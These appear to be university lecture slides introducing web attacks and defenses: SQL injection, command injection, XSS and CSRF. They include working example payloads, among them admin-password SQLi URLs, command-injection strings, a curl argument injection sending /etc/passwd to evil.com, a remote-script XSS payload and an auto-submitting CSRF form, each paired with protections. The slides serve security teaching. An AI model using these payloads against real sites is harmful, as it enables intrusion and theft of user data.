Web security: an introduction to attack techniques and defense methods

Mauro Gentile

Web Application Security
(Elective in Computer Networks)
F. d'Amore

Dept. of Computer, Control, and Management Engineering
Antonio Ruberti
Sapienza University of Rome

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Web security: principles and goals

Principles

- Branch of Computer security specifically related to Internet
- It deals with online threats
- Basically, it consists in two major areas:
  - Web Application Security
  - Web Browser Security

Goals

- Web applications should guarantee the same security as the one required for standalone applications
- Web browsers should protect users in a way to avoid computer infections and sensitive data compromise
The importance of web security

- Most web sites have vulnerabilities
  - Attackers can access confidential data by breaking into web applications
- Many users are not security minded
  - Attackers may target users by asking them to visit malicious web sites
- Several components could be targeted
  - Huge attack surface
  - Since many layers can be attacked, game over is often feasible
Attacking the server

- Typically, hackers can exploit injection flaws and other web application vulnerabilities:
  - SQL Injection
  - Command execution
  - Local file access
  - XML External Entities
  - Web server exploits and misconfiguration
  - Exposed administrative panels
  - And many others...
    - *Have you heard about Shellshock and/or MS15-034?*

- Involved components:
  - Web applications
  - Web servers
  - Web services
  - Databases
Attacking the users

- Typically, hackers can exploit web application vulnerabilities to attack users:
  - Cross-Site Scripting
  - Cross-Site Request Forgery
  - UI Redressing
  - Arbitrary URL redirects
  - And many others...

- Possible goals:
  - Impersonate users
  - Privilege escalation
  - Make victims trigger unwanted operations
  - Credentials stealing via phishing
HTTP protocol: basics

- Application protocol at the basis of data communication for the Internet

- Stateless protocol
  - The web server does not hold any information on previous HTTP requests
  - State maintained through sessions (cookies)

- No protection against eavesdropping attempts for data in transit
  - HTTPS is used for ensuring confidentiality, integrity and authentication
  - Anyway, have you heard about Heartbleed and/or POODLE?

- Usually, timeout is not a problem
  - Data modification in MiTM conditions is feasible via an HTTP proxy

- DNS spoofing leads to communicate with unexpected servers (in plain HTTP)
Same-Origin Policy

- Security principle that regulates web browser security
  - It restricts how a document loaded from A.com can interact with another document hosted on B.com
  - A.com and B.com are considered as different origins, therefore they are isolated

- Example:
  - The user is logged in sensi.tive.webmail.com
  - The attacker may ask him to visit evil.com aiming towards stealing his session cookies for sensi.tive.webmail.com
  - SOP prohibits such attempt resulting in a security exception

- For the sake of completeness, SOP relaxation is feasible through several browser and plug-in techniques
Moving to web attacks

Attack

- HTTP requests containing malicious payloads could attack web applications
- Vulnerable web applications have weaknesses, whose exploitation could potentially lead to unexpected results
- Unpatched clients are potentially affected by several vulnerabilities

Defense

- Vulnerability detection is not trivial, at least for “uncommon” bugs
- Penetration testing is surely useful for spotting vulnerabilities, but it does guarantee completeness
- Protecting users requires several layers of protection both on the client and on the server side
Injection attacks
SQL Injection

- Mixing SQL code with user-supplied input would lead to modify the intended SQL code behavior, since the hostile input is parsed by the SQL interpreter
  - The application combines user inputs with static parameters to build an SQL query

- Example (privilege escalation via password reset functionality)

```php
<?php
// ...
// $pwd and $uid are user controlled inputs
// ...
$query = "UPDATE usertable SET pwd='". $pwd ."' WHERE uid='". $uid .";";
// perform query
?>
```
SQL Injection (cont'd)

- Changing the admin's password
  - target.php?pwd=hello&uid=%27%20or%20user%20like%20%27%25admin%25

```php
<?php
// ...
// $uid: ' or user like '%admin%
// ...
// resulting query:
$query = "UPDATE usertable SET pwd='hello' WHERE uid='" or user like '%admin%';";
// perform query
?>
```

- Escalating privileges
  - target.php?pwd=hello%27%2C%20admin%3D%27yes&uid=[attacker_id]

```php
<?php
// ...
// $pwd: hello', admin='yes
// ...
// resulting query:
$query = "UPDATE usertable SET pwd='hello', admin='yes' WHERE uid='[att_id]';"
// perform query
?>
```
Take into consideration that the aforementioned PHP code is vulnerable to several issues:

- SQL Injection
- Password stored in clear in the database
- Potential authorization bypass by controlling the “uid” parameter
- Sensitive data sent in GET parameters
- Insecure password change procedure
  - The old password is not requested
- CSRF by knowing the victim's “uid”
- Potential XSS if malformed queries are reflected in the error page
SQL Injection: protection techniques

- Never trust any kind of input

- Use prepared statements with bound variables

- Realize input validation
  - Check if the given input has the expected data type
  - Do not blacklist potentially harmful characters as a way to protect against SQLi

- Use customized users for connecting to the database
  - Limit their privileges as much as possible
Command Injection

- Untrusted data is passed to an interpreter as part of a command

- The injected data makes the target system execute unintended commands

- The issue may involve any software which programmatically executes a given command

- Example (command injection in file deletion function)
  - Taken from: https://www.owasp.org/index.php/Command_Injection

```php
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
$system("rm $file");
?>
```
**Command Injection (cont'd)**

- Executing arbitrary commands (I)
  - delete.php?filename=\texttt{bob.txt;id}

```php
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become: system("rm bob.txt;id")
system("rm $file");
?>
```

- Response

  ```
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  ```
Command Injection (cont'd)

- Executing arbitrary commands (II)
  - `delete.php?filename=init\`uname -a > x` .txt`

```php
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become:
// system("rm init\`uname -a > x` .txt")
system("rm $file");
?>
```

- By requesting the file called x, we will have:

```
Linux box 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:44 UTC 2014 i686 i686 i686 GNU/Linux
```
Command Injection (cont'd)

- Overwriting files content
  - delete.php?filename=bob.txt;echo cool > /var/www/index.php

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become:
// system("rm bob.txt;echo cool > /var/www/index.php")
system("rm $file");
?>
```

- Infinite exploitation scenarios
  - Attacker can read files and upload backdoors as well
  - Usually hacked web servers are forced to connect to a master which orders them to carry out malicious operations
  - Attacker may try to escalate privileges through publicly available system exploits
    - Game over!
Command Injection (cont'd)

- Real world examples:

  - CVE-2014-1610

  - Command injection does not involve web applications only
  - CVE-2014-9462
Command Injection: defense techniques

- Perform **input validation** against any kind of input

- **Input escaping**
  - PHP
    - `escapeshellarg`
    - `escapeshellcmd`

- Beware of powerful APIs

- Take into consideration that unexpected flows may lead to command execution by exploiting other vulnerabilities
  - Example: Attacker controlled input on include function
When dealing with security related functions, read the documentation very carefully.

Do not make wrong assumptions

For instance, `escapeshellarg` and `escapeshellcmd` have different goals.

Example (escaping a single command line argument – the wrong way)

```php
<?php
$url=$_GET['url'];
$command = 'curl '.$url;
$escaped_command = escapeshellcmd($command);
exec($escaped_command);
?>
```

Insecure!

Argument injection to read local files:

- http://evil.com --data-urlencode param=/etc/passwd

Also vulnerable to Server-Side Request Forgery and other issues...
Cross-Site Scripting and Cross-Site Request Forgery
Session Hijacking

- By assuming that an attacker was able to compromise the victim's session, then it could impersonate him in the context of the target web application.

- This can take place through several ways:
  - Predictable session tokens
  - Cross-Site Scripting vulnerabilities
  - Mixed content issues
  - Session Fixation
  - SOP bypass exploits
  - Victim's computer malware infection
Cross-Site Scripting

- Malicious HTML and/or JavaScript code is injected in the context of a target domain.

- Since the browser have no way to distinguish whether a script is legit or not, it will execute it.

- According to the SOP, the injected code will be executed in the context of the trusted web site.

- Generally, Cross-Site Scripting (XSS) attacks are categorized in three categories:
  - Reflected XSS
  - Stored XSS
  - DOM-Based XSS
Reflected XSS

- The target web application echoes back user supplied input in the HTML response without performing input validation and output encoding

- Example (basic reflected XSS)

```php
<?php
$name=$_GET['name'];
echo "Hey ".$name;
?>
```

- HTML response

```
Hey you
```

- What if ?name=<script src=//ev.il.co.m/mal.js></script> ?

```
Hey <script src=//ev.il.co.m/mal.js></script>
```
Reflected XSS: exploitation flow

1. The attacker sends a specifically crafted link to the victim and asks him to visit it
   • http://target/index.php?name=<script src=//ev.il.co.m/mal.js></script>
2. The victim clicks the malicious link pointing to http://target
3. The PHP page index.php echoes back the injected parameter
4. The script hosted on ev.il.co.m/mal.js is executed

• Based on the content of mal.js, the attacker may perform different types of actions
  • Session hijacking

• Take into consideration that exploiting a reflected XSS is often related to filter evasion
Stored XSS

• The injected script is stored in a permanent data store and echoed back whenever users will visit the injected web page

• Exploitation flow example:
  1. The attacker leaves a malicious comment in a blog
  2. Upon comments moderation, the blog admin is involved in the attack since the malicious JavaScript code is executed

• Real world example
  • Stored XSS in WordPress
    • http://klikki.fi/adv/wordpress2.html
XSS: protection techniques

- Realize input validation and contextual output encoding

- Check whether the input resembles the expected data format through a whitelist approach
  - Do not adopt blacklists, as bypasses are usually quite easy to identify

- Output encoding
  - Potentially harmful characters are escaped:
    - < becomes &lt;
    - > becomes &gt;
    - " becomes &quot;
    - & becomes &amp;
    - And so on...
XSS: protection techniques (cont'd)

- XSS protection depends on the reflection context
- Any data entry point should be handled on the basis of the context in which it is reflected in the HTML response

- Example (insecure XSS protection)

```php
<?php
$url=$_GET['url'];
echo '<a href="'.htmlspecialchars($url).'">click me</a>;n
?>
```

- XSS with ?url=javascript:alert(1)
  - htmlspecialchars performs escaping for HTML contexts, and not for HTML attributes
  - No input validation performed
    - https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
DOM-Based XSS

- The client-side script is misused in order to make it work maliciously
- The attacker exploits the fact that no filtering is performed on some inputs
  - The JavaScript attribute accessing such input is called **source**
- The client-side code “manipulates” such data making the exploit take place
  - The JavaScript function/attribute which ends up with input reflection/execution is called **sink**

- Example (basic DOM-Based XSS)

  ```html
  <div id="jobs"></div>
  <script>
  var selected = location.hash.slice(1);
  document.getElementById("jobs").innerHTML = selected;
  </script>
  ```

- Exploitable with http://target/index.php#<img src=xx:x onerror=alert(1) />
- **Source:** location.hash **Sink:** innerHTML
DOM-Based XSS: protection techniques

- Input validation and contextual output encoding

- It's not trivial to protect

- Input validation can take place on the client in case the input is not visible to the server application

```html
<div id="jobs"></div>
<script>
var selected = location.hash.slice(1);
if (selected.match(/^[\d]{1}$/))
    document.getElementById("jobs").innerHTML = selected;
</script>
```

- Output encoding on the client-side is carried out through JS functions
Cross-Site Request Forgery

- Attack in which the victim is forced into making unwanted operations with respect to a web application, he is authenticated with
- The target of CSRF attacks are state-changing functionality
- The attack is feasible since the browser automatically appends cookies in HTTP requests, also in the ones taking place cross-domain

Example (CSRF in the change password procedure)
- The attacker wants to force the victim to change its password to an arbitrary one
- He asks the victim to visit the following web page:

```html
<script>
function change() { document.forms[0].submit(); }
</script>
<body onload="change()">
<form action="https://target/changePass.php" method="POST">
<input type="hidden" name="newPass" value="hello" />
</form>
</body>
```
Cross-Site Request Forgery (cont'd)

- By considering unprotected state-changing functionality, the web application assumes that any received HTTP request is legitimately sent by the trusted user.

- Any web application functionality should be protected against CSRF events.

- By assuming the case in which banking applications are not CSRF-protected, then visiting ev.il.co.m could lead to unwanted money transfers.

- Obviously, XSS => CSRF.
CSRF: protection techniques

- Random anti-CSRF token sent in any state-changing request and verified on the server
  - The token is generated by the web application and put in HTML responses
  - Due to SOP, no way for attackers to access such information, unless it is predictable..
  - Receiving requests with the expected token implies that they are coming from the trusted web site

- Double-submit cookies
  - Anti-CSRF random token sent both in a cookie and in the request body
  - Quite elegant solution

That's all

- Modern web security involves many other aspects, we did not cover because of obvious time constraints

- Several other attack techniques exist

- Protecting against modern threats is not easy and requires a strong knowledge of recent security issues and exploitation techniques

- Curious students may investigate these aspects:
  - Content Security Policy
  - Cross Origin Resource Sharing
  - HTTP Strict Transport Security
  - X-Frame-Options
About me

Mauro Gentile

- Application Security Consultant @ Minded Security
  - Penetration testing (web and mobile applications)
  - Source code analysis
  - Vulnerability assessments
  - Security research

- Fascinated by security bugs

Personal
Email: gentile.mauro.mg@gmail.com
Twitter: @sneak_

Company
Email: mauro.gentile@mindedsecurity.com
Web site: www.mindedsecurity.com